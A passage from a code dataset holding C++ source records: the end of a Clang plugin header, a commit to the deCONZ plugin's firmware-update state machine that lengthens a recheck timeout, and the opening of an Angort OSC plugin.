Stmt* stmt )\n {\n \/\/ Invalid location can happen at least for ImplicitCastExpr of\n \/\/ ImplicitParam 'self' in Objective C method declarations:\n return stmt->getLocStart().isValid() && ignoreLocation( stmt->getLocStart());\n }\n\ntemplate< typename T >\nPlugin* Plugin::createHelper( const InstantiationData& data )\n {\n return new T( data );\n }\n\ntemplate< typename T >\ninline\nPlugin::Registration< T >::Registration( const char* optionName, bool byDefault )\n {\n registerPlugin( &T::template createHelper< T >, optionName, T::isPPCallback, byDefault );\n }\n\ninline\nRewritePlugin::RewriteOptions::RewriteOptions()\n : flags( 0 )\n {\n }\n\ninline\nRewritePlugin::RewriteOptions::RewriteOptions( RewriteOption option )\n : flags( option )\n {\n \/\/ Note that 'flags' stores also RemoveLineIfEmpty, it must be kept in sync with the base class.\n if( flags & RewritePlugin::RemoveLineIfEmpty )\n this->RemoveLineIfEmpty = true;\n }\n\ninline\nRewritePlugin::RewriteOption operator|( RewritePlugin::RewriteOption option1, RewritePlugin::RewriteOption option2 )\n {\n return static_cast< RewritePlugin::RewriteOption >( int( option1 ) | int( option2 ));\n }\n\n} \/\/ namespace\n\n#endif \/\/ COMPILEPLUGIN_H\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2016 dresden elektronik ingenieurtechnik gmbh.\n * All rights reserved.\n *\n * The software in this package is published under the terms of the BSD\n * style license a copy of which has been included with this distribution in\n * the LICENSE.txt file.\n *\n *\/\n\n#include <QApplication>\n#include <QDesktopServices>\n#include <QFile>\n#include <QDir>\n#include <QString>\n#include <QProcess>\n#include \"de_web_plugin.h\"\n#include \"de_web_plugin_private.h\"\n\n#define FW_IDLE_TIMEOUT (10 * 1000)\n#define FW_WAIT_UPDATE_READY (2) \/\/s\n#define FW_IDLE_TIMEOUT_LONG (240 * 1000)\n#define FW_WAIT_USER_TIMEOUT (120 * 1000)\n\n\/*! Inits the firmware update manager.\n *\/\nvoid DeRestPluginPrivate::initFirmwareUpdate()\n{\n fwProcess = 0;\n fwUpdateState = FW_Idle;\n\n Q_ASSERT(apsCtrl);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateIdle);\n\n fwUpdateStartedByUser = false;\n fwUpdateTimer = new QTimer(this);\n fwUpdateTimer->setSingleShot(true);\n connect(fwUpdateTimer, SIGNAL(timeout()),\n this, SLOT(firmwareUpdateTimerFired()));\n fwUpdateTimer->start(5000);\n}\n\n\/*! Starts the actual firmware update process.\n *\/\nvoid DeRestPluginPrivate::updateFirmware()\n{\n if (gwFirmwareNeedUpdate)\n {\n gwFirmwareNeedUpdate = false;\n }\n\n Q_ASSERT(apsCtrl);\n if (apsCtrl->getParameter(deCONZ::ParamFirmwareUpdateActive) == deCONZ::FirmwareUpdateIdle ||\n apsCtrl->getParameter(deCONZ::ParamDeviceConnected) == 1)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update conditions not met, abort\\n\");\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n updateEtag(gwConfigEtag);\n return;\n }\n\n QString gcfFlasherBin = qApp->applicationDirPath() + \"\/GCFFlasher\";\n#ifdef Q_OS_WIN\n gcfFlasherBin.append(\".exe\");\n QString bin = gcfFlasherBin;\n#elif defined(Q_OS_LINUX) && !defined(ARCH_ARM) \/\/ on RPi a normal sudo is ok since we don't need password there\n QString bin = \"pkexec\";\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n fwProcessArgs.prepend(gcfFlasherBin);\n#elif defined(Q_OS_OSX)\n \/\/ TODO\n \/\/ \/usr\/bin\/osascript -e 'do shell script \"make install\" with administrator privileges'\n QString bin = \"sudo\";\n fwProcessArgs.prepend(gcfFlasherBin);\n#else\n QString bin = \"sudo\";\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n fwProcessArgs.prepend(gcfFlasherBin);\n#endif\n\n if (!fwProcess)\n {\n fwProcess = new QProcess(this);\n }\n\n fwProcessArgs << \"-f\" << fwUpdateFile;\n\n fwUpdateState = FW_UpdateWaitFinished;\n updateEtag(gwConfigEtag);\n fwUpdateTimer->start(250);\n\n fwProcess->start(bin, fwProcessArgs);\n}\n\n\/*! Observes the firmware update process.\n *\/\nvoid DeRestPluginPrivate::updateFirmwareWaitFinished()\n{\n if (fwProcess)\n {\n if (fwProcess->bytesAvailable())\n {\n QByteArray data = fwProcess->readAllStandardOutput();\n DBG_Printf(DBG_INFO, \"%s\", qPrintable(data));\n\n if (apsCtrl->getParameter(deCONZ::ParamFirmwareUpdateActive) != deCONZ::FirmwareUpdateRunning)\n {\n if (data.contains(\"flashing\"))\n {\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateRunning);\n }\n }\n }\n\n if (fwProcess->state() == QProcess::Starting)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update starting ..\\n\");\n }\n else if (fwProcess->state() == QProcess::Running)\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update running ..\\n\");\n }\n else if (fwProcess->state() == QProcess::NotRunning)\n {\n if (fwProcess->exitStatus() == QProcess::NormalExit)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update exit code %d\\n\", fwProcess->exitCode());\n }\n else if (fwProcess->exitStatus() == QProcess::CrashExit)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update crashed %s\\n\", qPrintable(fwProcess->errorString()));\n }\n\n fwProcess->deleteLater();\n fwProcess = 0;\n }\n }\n\n \/\/ done\n if (fwProcess == 0)\n {\n fwUpdateStartedByUser = false;\n gwFirmwareNeedUpdate = false;\n updateEtag(gwConfigEtag);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateIdle);\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n }\n else \/\/ recheck\n {\n fwUpdateTimer->start(250);\n }\n}\n\n\/*! Starts the device disconnect so that the serial port is released.\n *\/\nvoid DeRestPluginPrivate::updateFirmwareDisconnectDevice()\n{\n Q_ASSERT(apsCtrl);\n\/\/ if (apsCtrl->getParameter(deCONZ::ParamFirmwareUpdateActive) == deCONZ::FirmwareUpdateIdle)\n\/\/ {\n\/\/ if (apsCtrl->getParameter(deCONZ::ParamDeviceConnected) == 1)\n\/\/ {\n\/\/ DBG_Printf(DBG_INFO, \"GW firmware disconnect device before update\\n\");\n\/\/ }\n\/\/ }\n\n if (apsCtrl->getParameter(deCONZ::ParamDeviceConnected) == 1)\n {\n fwUpdateTimer->start(100); \/\/ recheck\n }\n else\n {\n DBG_Printf(DBG_INFO, \"GW firmware start update (device not connected)\\n\");\n fwUpdateState = FW_Update;\n fwUpdateTimer->start(0);\n updateEtag(gwConfigEtag);\n }\n}\n\n\/*! Starts the firmware update.\n *\/\nbool DeRestPluginPrivate::startUpdateFirmware()\n{\n fwUpdateStartedByUser = true;\n if (fwUpdateState == FW_WaitUserConfirm)\n {\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateRunning);\n updateEtag(gwConfigEtag);\n fwUpdateState = FW_DisconnectDevice;\n fwUpdateTimer->start(100);\n return true;\n }\n\n return false;\n}\n\n\/*! Delayed trigger to update the firmware.\n *\/\nvoid DeRestPluginPrivate::firmwareUpdateTimerFired()\n{\n if (fwUpdateState == FW_Idle)\n {\n if (gwFirmwareNeedUpdate)\n {\n gwFirmwareNeedUpdate = false;\n updateEtag(gwConfigEtag);\n }\n fwUpdateState = FW_CheckDevices;\n fwUpdateTimer->start(0);\n }\n else if (fwUpdateState == FW_CheckDevices)\n {\n checkFirmwareDevices();\n }\n else if (fwUpdateState == FW_CheckVersion)\n {\n queryFirmwareVersion();\n }\n else if (fwUpdateState == FW_DisconnectDevice)\n {\n updateFirmwareDisconnectDevice();\n }\n else if (fwUpdateState == FW_Update)\n {\n updateFirmware();\n }\n else if (fwUpdateState == FW_UpdateWaitFinished)\n {\n updateFirmwareWaitFinished();\n }\n else if (fwUpdateState == FW_WaitUserConfirm)\n {\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n }\n else\n {\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n }\n}\n\n\/*! Lazy query of firmware version.\n Because the device might not be connected at first optaining the\n firmware version must be delayed.\n\n If the firmware is older then the min required firmware for the platform\n and a proper firmware update file exists, the API will announce that a\n firmware update is available.\n *\/\nvoid DeRestPluginPrivate::queryFirmwareVersion()\n{\n Q_ASSERT(apsCtrl);\n if (!apsCtrl)\n {\n return;\n }\n\n { \/\/ check for GCFFlasher binary\n QString gcfFlasherBin = qApp->applicationDirPath() + \"\/GCFFlasher\";\n#ifdef Q_OS_WIN\n gcfFlasherBin.append(\".exe\");\n#elif defined(Q_OS_LINUX) && !defined(ARCH_ARM) \/\/ on RPi a normal sudo is ok since we don't need password there\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n#elif defined(Q_OS_OSX)\n \/\/ TODO\n#else\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n#endif\n\n if (!QFile::exists(gcfFlasherBin))\n {\n DBG_Printf(DBG_INFO, \"GW update firmware failed, %s doesn't exist\\n\", qPrintable(gcfFlasherBin));\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT_LONG);\n return;\n }\n }\n\n \/\/ does the update file exist?\n if (fwUpdateFile.isEmpty())\n {\n QString fileName;\n fileName.sprintf(\"deCONZ_Rpi_0x%08x.bin.GCF\", GW_MIN_RPI_FW_VERSION);\n\n \/\/ search in different locations\n std::vector<QString> paths;\n#ifdef Q_OS_LINUX\n paths.push_back(QLatin1String(\"\/usr\/share\/deCONZ\/firmware\/\"));\n#endif\n paths.push_back(deCONZ::getStorageLocation(deCONZ::ApplicationsDataLocation) + QLatin1String(\"\/firmware\/\"));\n paths.push_back(deCONZ::getStorageLocation(deCONZ::HomeLocation) + QLatin1String(\"\/raspbee_firmware\/\"));\n#ifdef Q_OS_OSX\n QDir dir(qApp->applicationDirPath());\n dir.cdUp();\n dir.cd(\"Resources\");\n paths.push_back(dir.path() + \"\/\");\n#endif\n\n std::vector<QString>::const_iterator i = paths.begin();\n std::vector<QString>::const_iterator end = paths.end();\n for (; i != end; ++i)\n {\n if (QFile::exists(*i + fileName))\n {\n fwUpdateFile = *i + fileName;\n DBG_Printf(DBG_INFO, \"GW update firmware found: %s\\n\", qPrintable(fwUpdateFile));\n break;\n }\n }\n }\n\n if (fwUpdateFile.isEmpty())\n {\n DBG_Printf(DBG_ERROR, \"GW update firmware not found: %s\\n\", qPrintable(fwUpdateFile));\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n return;\n }\n\n uint8_t devConnected = apsCtrl->getParameter(deCONZ::ParamDeviceConnected);\n uint32_t fwVersion = apsCtrl->getParameter(deCONZ::ParamFirmwareVersion);\n\n Q_ASSERT(!gwFirmwareNeedUpdate);\n\n if (devConnected == 0 || fwVersion == 0)\n {\n \/\/ if even after some time no firmware was detected\n \/\/ ASSUME that a device is present and reachable but might not have firmware installed\n\/\/ if (getUptime() >= FW_WAIT_UPDATE_READY)\n {\n QString str;\n str.sprintf(\"0x%08x\", GW_MIN_RPI_FW_VERSION);\n\n gwFirmwareVersion = \"0x00000000\"; \/\/ unknown\n gwFirmwareVersionUpdate = str;\n gwConfig[\"fwversion\"] = gwFirmwareVersion;\n gwFirmwareNeedUpdate = true;\n updateEtag(gwConfigEtag);\n\n fwUpdateState = FW_WaitUserConfirm;\n fwUpdateTimer->start(FW_WAIT_USER_TIMEOUT);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateReadyToStart);\n\n if (fwUpdateStartedByUser)\n {\n startUpdateFirmware();\n }\n }\n return;\n }\n else if (devConnected)\n {\n QString str;\n str.sprintf(\"0x%08x\", fwVersion);\n\n if (gwFirmwareVersion != str)\n {\n gwFirmwareVersion = str;\n gwConfig[\"fwversion\"] = str;\n updateEtag(gwConfigEtag);\n }\n\n DBG_Printf(DBG_INFO, \"GW firmware version: %s\\n\", qPrintable(gwFirmwareVersion));\n\n \/\/ if the device is detected check that the firmware version is >= min version\n if ((fwVersion & FW_PLATFORM_MASK) == FW_PLATFORM_RPI)\n {\n if (fwVersion < GW_MIN_RPI_FW_VERSION)\n {\n gwFirmwareVersionUpdate.sprintf(\"0x%08x\", GW_MIN_RPI_FW_VERSION);\n gwFirmwareNeedUpdate = true;\n updateEtag(gwConfigEtag);\n\n DBG_Printf(DBG_INFO, \"GW firmware version shall be updated to: 0x%08x\\n\", GW_MIN_RPI_FW_VERSION);\n fwUpdateState = FW_WaitUserConfirm;\n fwUpdateTimer->start(FW_WAIT_USER_TIMEOUT);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateReadyToStart);\n return;\n }\n else\n {\n DBG_Printf(DBG_INFO, \"GW firmware version is up to date: 0x%08x\\n\", fwVersion);\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT_LONG);\n return;\n }\n }\n\n if (!gwFirmwareVersionUpdate.isEmpty())\n {\n gwFirmwareVersionUpdate.clear();\n updateEtag(gwConfigEtag);\n }\n }\n\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n}\n\n\/*! Checks if devices for firmware update are present.\n *\/\nvoid DeRestPluginPrivate::checkFirmwareDevices()\n{\n deCONZ::DeviceEnumerator devEnumerator;\n\n fwProcessArgs.clear();\n\n devEnumerator.listSerialPorts();\n const std::vector<deCONZ::DeviceEntry> &availPorts = devEnumerator.getList();\n\n std::vector<deCONZ::DeviceEntry>::const_iterator i = availPorts.begin();\n std::vector<deCONZ::DeviceEntry>::const_iterator end = availPorts.end();\n\n int raspBeeCount = 0;\n int usbDongleCount = 0;\n QString ttyPath;\n\n for (; i != end; ++i)\n {\n if (i->friendlyName.contains(QLatin1String(\"ConBee\")))\n {\n usbDongleCount++;\n }\n else if (i->friendlyName.contains(QLatin1String(\"RaspBee\")))\n {\n raspBeeCount = 1;\n ttyPath = i->path;\n }\n }\n\n if (usbDongleCount > 1)\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update too many USB devices connected, abort\\n\");\n }\n else if (usbDongleCount == 1)\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update select USB device\\n\");\n fwProcessArgs << \"-d\" << \"0\";\n }\n else if (raspBeeCount > 0 && usbDongleCount == 0 && !ttyPath.isEmpty())\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update select %s device\\n\", qPrintable(ttyPath));\n fwProcessArgs << \"-d\" << \"RaspBee\";\n }\n\n if (!fwProcessArgs.isEmpty())\n {\n fwUpdateState = FW_CheckVersion;\n fwUpdateTimer->start(0);\n return;\n }\n\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n}\n<commit_msg>Wait longer after firmware update before recheck new firmware<commit_after>\/*\n * Copyright (c) 2016 dresden elektronik ingenieurtechnik gmbh.\n * All rights reserved.\n *\n * The software in this package is published under the terms of the BSD\n * style license a copy of which has been included with this distribution in\n * the LICENSE.txt file.\n *\n *\/\n\n#include <QApplication>\n#include <QDesktopServices>\n#include <QFile>\n#include <QDir>\n#include <QString>\n#include <QProcess>\n#include \"de_web_plugin.h\"\n#include \"de_web_plugin_private.h\"\n\n#define FW_IDLE_TIMEOUT (10 * 1000)\n#define FW_WAIT_UPDATE_READY (2) \/\/s\n#define FW_IDLE_TIMEOUT_LONG (240 * 1000)\n#define FW_WAIT_USER_TIMEOUT (120 * 1000)\n\n\/*! Inits the firmware update manager.\n *\/\nvoid DeRestPluginPrivate::initFirmwareUpdate()\n{\n fwProcess = 0;\n fwUpdateState = FW_Idle;\n\n Q_ASSERT(apsCtrl);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateIdle);\n\n fwUpdateStartedByUser = false;\n fwUpdateTimer = new QTimer(this);\n fwUpdateTimer->setSingleShot(true);\n connect(fwUpdateTimer, SIGNAL(timeout()),\n this, SLOT(firmwareUpdateTimerFired()));\n fwUpdateTimer->start(5000);\n}\n\n\/*! Starts the actual firmware update process.\n *\/\nvoid DeRestPluginPrivate::updateFirmware()\n{\n if (gwFirmwareNeedUpdate)\n {\n gwFirmwareNeedUpdate = false;\n }\n\n Q_ASSERT(apsCtrl);\n if (apsCtrl->getParameter(deCONZ::ParamFirmwareUpdateActive) == deCONZ::FirmwareUpdateIdle ||\n apsCtrl->getParameter(deCONZ::ParamDeviceConnected) == 1)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update conditions not met, abort\\n\");\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n updateEtag(gwConfigEtag);\n return;\n }\n\n QString gcfFlasherBin = qApp->applicationDirPath() + \"\/GCFFlasher\";\n#ifdef Q_OS_WIN\n gcfFlasherBin.append(\".exe\");\n QString bin = gcfFlasherBin;\n#elif defined(Q_OS_LINUX) && !defined(ARCH_ARM) \/\/ on RPi a normal sudo is ok since we don't need password there\n QString bin = \"pkexec\";\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n fwProcessArgs.prepend(gcfFlasherBin);\n#elif defined(Q_OS_OSX)\n \/\/ TODO\n \/\/ \/usr\/bin\/osascript -e 'do shell script \"make install\" with administrator privileges'\n QString bin = \"sudo\";\n fwProcessArgs.prepend(gcfFlasherBin);\n#else\n QString bin = \"sudo\";\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n fwProcessArgs.prepend(gcfFlasherBin);\n#endif\n\n if (!fwProcess)\n {\n fwProcess = new QProcess(this);\n }\n\n fwProcessArgs << \"-f\" << fwUpdateFile;\n\n fwUpdateState = FW_UpdateWaitFinished;\n updateEtag(gwConfigEtag);\n fwUpdateTimer->start(250);\n\n fwProcess->start(bin, fwProcessArgs);\n}\n\n\/*! Observes the firmware update process.\n *\/\nvoid DeRestPluginPrivate::updateFirmwareWaitFinished()\n{\n if (fwProcess)\n {\n if (fwProcess->bytesAvailable())\n {\n QByteArray data = fwProcess->readAllStandardOutput();\n DBG_Printf(DBG_INFO, \"%s\", qPrintable(data));\n\n if (apsCtrl->getParameter(deCONZ::ParamFirmwareUpdateActive) != deCONZ::FirmwareUpdateRunning)\n {\n if (data.contains(\"flashing\"))\n {\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateRunning);\n }\n }\n }\n\n if (fwProcess->state() == QProcess::Starting)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update starting ..\\n\");\n }\n else if (fwProcess->state() == QProcess::Running)\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update running ..\\n\");\n }\n else if (fwProcess->state() == QProcess::NotRunning)\n {\n if (fwProcess->exitStatus() == QProcess::NormalExit)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update exit code %d\\n\", fwProcess->exitCode());\n }\n else if (fwProcess->exitStatus() == QProcess::CrashExit)\n {\n DBG_Printf(DBG_INFO, \"GW firmware update crashed %s\\n\", qPrintable(fwProcess->errorString()));\n }\n\n fwProcess->deleteLater();\n fwProcess = 0;\n }\n }\n\n \/\/ done\n if (fwProcess == 0)\n {\n fwUpdateStartedByUser = false;\n gwFirmwareNeedUpdate = false;\n updateEtag(gwConfigEtag);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateIdle);\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT_LONG);\n }\n else \/\/ recheck\n {\n fwUpdateTimer->start(250);\n }\n}\n\n\/*! Starts the device disconnect so that the serial port is released.\n *\/\nvoid DeRestPluginPrivate::updateFirmwareDisconnectDevice()\n{\n Q_ASSERT(apsCtrl);\n\/\/ if (apsCtrl->getParameter(deCONZ::ParamFirmwareUpdateActive) == deCONZ::FirmwareUpdateIdle)\n\/\/ {\n\/\/ if (apsCtrl->getParameter(deCONZ::ParamDeviceConnected) == 1)\n\/\/ {\n\/\/ DBG_Printf(DBG_INFO, \"GW firmware disconnect device before update\\n\");\n\/\/ }\n\/\/ }\n\n if (apsCtrl->getParameter(deCONZ::ParamDeviceConnected) == 1)\n {\n fwUpdateTimer->start(100); \/\/ recheck\n }\n else\n {\n DBG_Printf(DBG_INFO, \"GW firmware start update (device not connected)\\n\");\n fwUpdateState = FW_Update;\n fwUpdateTimer->start(0);\n updateEtag(gwConfigEtag);\n }\n}\n\n\/*! Starts the firmware update.\n *\/\nbool DeRestPluginPrivate::startUpdateFirmware()\n{\n fwUpdateStartedByUser = true;\n if (fwUpdateState == FW_WaitUserConfirm)\n {\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateRunning);\n updateEtag(gwConfigEtag);\n fwUpdateState = FW_DisconnectDevice;\n fwUpdateTimer->start(100);\n return true;\n }\n\n return false;\n}\n\n\/*! Delayed trigger to update the firmware.\n *\/\nvoid DeRestPluginPrivate::firmwareUpdateTimerFired()\n{\n if (fwUpdateState == FW_Idle)\n {\n if (gwFirmwareNeedUpdate)\n {\n gwFirmwareNeedUpdate = false;\n updateEtag(gwConfigEtag);\n }\n fwUpdateState = FW_CheckDevices;\n fwUpdateTimer->start(0);\n }\n else if (fwUpdateState == FW_CheckDevices)\n {\n checkFirmwareDevices();\n }\n else if (fwUpdateState == FW_CheckVersion)\n {\n queryFirmwareVersion();\n }\n else if (fwUpdateState == FW_DisconnectDevice)\n {\n updateFirmwareDisconnectDevice();\n }\n else if (fwUpdateState == FW_Update)\n {\n updateFirmware();\n }\n else if (fwUpdateState == FW_UpdateWaitFinished)\n {\n updateFirmwareWaitFinished();\n }\n else if (fwUpdateState == FW_WaitUserConfirm)\n {\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n }\n else\n {\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n }\n}\n\n\/*! Lazy query of firmware version.\n Because the device might not be connected at first optaining the\n firmware version must be delayed.\n\n If the firmware is older then the min required firmware for the platform\n and a proper firmware update file exists, the API will announce that a\n firmware update is available.\n *\/\nvoid DeRestPluginPrivate::queryFirmwareVersion()\n{\n Q_ASSERT(apsCtrl);\n if (!apsCtrl)\n {\n return;\n }\n\n { \/\/ check for GCFFlasher binary\n QString gcfFlasherBin = qApp->applicationDirPath() + \"\/GCFFlasher\";\n#ifdef Q_OS_WIN\n gcfFlasherBin.append(\".exe\");\n#elif defined(Q_OS_LINUX) && !defined(ARCH_ARM) \/\/ on RPi a normal sudo is ok since we don't need password there\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n#elif defined(Q_OS_OSX)\n \/\/ TODO\n#else\n gcfFlasherBin = \"\/usr\/bin\/GCFFlasher_internal\";\n#endif\n\n if (!QFile::exists(gcfFlasherBin))\n {\n DBG_Printf(DBG_INFO, \"GW update firmware failed, %s doesn't exist\\n\", qPrintable(gcfFlasherBin));\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT_LONG);\n return;\n }\n }\n\n \/\/ does the update file exist?\n if (fwUpdateFile.isEmpty())\n {\n QString fileName;\n fileName.sprintf(\"deCONZ_Rpi_0x%08x.bin.GCF\", GW_MIN_RPI_FW_VERSION);\n\n \/\/ search in different locations\n std::vector<QString> paths;\n#ifdef Q_OS_LINUX\n paths.push_back(QLatin1String(\"\/usr\/share\/deCONZ\/firmware\/\"));\n#endif\n paths.push_back(deCONZ::getStorageLocation(deCONZ::ApplicationsDataLocation) + QLatin1String(\"\/firmware\/\"));\n paths.push_back(deCONZ::getStorageLocation(deCONZ::HomeLocation) + QLatin1String(\"\/raspbee_firmware\/\"));\n#ifdef Q_OS_OSX\n QDir dir(qApp->applicationDirPath());\n dir.cdUp();\n dir.cd(\"Resources\");\n paths.push_back(dir.path() + \"\/\");\n#endif\n\n std::vector<QString>::const_iterator i = paths.begin();\n std::vector<QString>::const_iterator end = paths.end();\n for (; i != end; ++i)\n {\n if (QFile::exists(*i + fileName))\n {\n fwUpdateFile = *i + fileName;\n DBG_Printf(DBG_INFO, \"GW update firmware found: %s\\n\", qPrintable(fwUpdateFile));\n break;\n }\n }\n }\n\n if (fwUpdateFile.isEmpty())\n {\n DBG_Printf(DBG_ERROR, \"GW update firmware not found: %s\\n\", qPrintable(fwUpdateFile));\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n return;\n }\n\n uint8_t devConnected = apsCtrl->getParameter(deCONZ::ParamDeviceConnected);\n uint32_t fwVersion = apsCtrl->getParameter(deCONZ::ParamFirmwareVersion);\n\n Q_ASSERT(!gwFirmwareNeedUpdate);\n\n if (devConnected == 0 || fwVersion == 0)\n {\n \/\/ if even after some time no firmware was detected\n \/\/ ASSUME that a device is present and reachable but might not have firmware installed\n\/\/ if (getUptime() >= FW_WAIT_UPDATE_READY)\n {\n QString str;\n str.sprintf(\"0x%08x\", GW_MIN_RPI_FW_VERSION);\n\n gwFirmwareVersion = \"0x00000000\"; \/\/ unknown\n gwFirmwareVersionUpdate = str;\n gwConfig[\"fwversion\"] = gwFirmwareVersion;\n gwFirmwareNeedUpdate = true;\n updateEtag(gwConfigEtag);\n\n fwUpdateState = FW_WaitUserConfirm;\n fwUpdateTimer->start(FW_WAIT_USER_TIMEOUT);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateReadyToStart);\n\n if (fwUpdateStartedByUser)\n {\n startUpdateFirmware();\n }\n }\n return;\n }\n else if (devConnected)\n {\n QString str;\n str.sprintf(\"0x%08x\", fwVersion);\n\n if (gwFirmwareVersion != str)\n {\n gwFirmwareVersion = str;\n gwConfig[\"fwversion\"] = str;\n updateEtag(gwConfigEtag);\n }\n\n DBG_Printf(DBG_INFO, \"GW firmware version: %s\\n\", qPrintable(gwFirmwareVersion));\n\n \/\/ if the device is detected check that the firmware version is >= min version\n if ((fwVersion & FW_PLATFORM_MASK) == FW_PLATFORM_RPI)\n {\n if (fwVersion < GW_MIN_RPI_FW_VERSION)\n {\n gwFirmwareVersionUpdate.sprintf(\"0x%08x\", GW_MIN_RPI_FW_VERSION);\n gwFirmwareNeedUpdate = true;\n updateEtag(gwConfigEtag);\n\n DBG_Printf(DBG_INFO, \"GW firmware version shall be updated to: 0x%08x\\n\", GW_MIN_RPI_FW_VERSION);\n fwUpdateState = FW_WaitUserConfirm;\n fwUpdateTimer->start(FW_WAIT_USER_TIMEOUT);\n apsCtrl->setParameter(deCONZ::ParamFirmwareUpdateActive, deCONZ::FirmwareUpdateReadyToStart);\n return;\n }\n else\n {\n DBG_Printf(DBG_INFO, \"GW firmware version is up to date: 0x%08x\\n\", fwVersion);\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT_LONG);\n return;\n }\n }\n\n if (!gwFirmwareVersionUpdate.isEmpty())\n {\n gwFirmwareVersionUpdate.clear();\n updateEtag(gwConfigEtag);\n }\n }\n\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n}\n\n\/*! Checks if devices for firmware update are present.\n *\/\nvoid DeRestPluginPrivate::checkFirmwareDevices()\n{\n deCONZ::DeviceEnumerator devEnumerator;\n\n fwProcessArgs.clear();\n\n devEnumerator.listSerialPorts();\n const std::vector<deCONZ::DeviceEntry> &availPorts = devEnumerator.getList();\n\n std::vector<deCONZ::DeviceEntry>::const_iterator i = availPorts.begin();\n std::vector<deCONZ::DeviceEntry>::const_iterator end = availPorts.end();\n\n int raspBeeCount = 0;\n int usbDongleCount = 0;\n QString ttyPath;\n\n for (; i != end; ++i)\n {\n if (i->friendlyName.contains(QLatin1String(\"ConBee\")))\n {\n usbDongleCount++;\n }\n else if (i->friendlyName.contains(QLatin1String(\"RaspBee\")))\n {\n raspBeeCount = 1;\n ttyPath = i->path;\n }\n }\n\n if (usbDongleCount > 1)\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update too many USB devices connected, abort\\n\");\n }\n else if (usbDongleCount == 1)\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update select USB device\\n\");\n fwProcessArgs << \"-d\" << \"0\";\n }\n else if (raspBeeCount > 0 && usbDongleCount == 0 && !ttyPath.isEmpty())\n {\n DBG_Printf(DBG_INFO_L2, \"GW firmware update select %s device\\n\", qPrintable(ttyPath));\n fwProcessArgs << \"-d\" << \"RaspBee\";\n }\n\n if (!fwProcessArgs.isEmpty())\n {\n fwUpdateState = FW_CheckVersion;\n fwUpdateTimer->start(0);\n return;\n }\n\n fwUpdateState = FW_Idle;\n fwUpdateTimer->start(FW_IDLE_TIMEOUT);\n}\n<|endoftext|>"} {"text":"<commit_before>\/**\n * @file osc.cpp\n * @brief Brief description of file.\n *\n *\/\n\n#include \"angort\/angort.h\"\n#include \"..\/wrappers.h\"\n#include <lo\/lo.h>\n#define THROWOSC(e) throw RUNT(\"ex$diamond\",e.what())\n\nusing namespace angort;\n\nstatic BasicWrapperType<lo_address> tLoAddr(\"LOAD\");\n\n%type LoAddr tLoAddr lo_address\n\n%name osc\n%shared\n\n\n\n%wordargs makeport s (s ---) make a new OSC port on localhost, given the port name\n{\n lo_address lo = lo_address_new(NULL,p0);\n if(!lo)\n a->pushNone();\n else\n 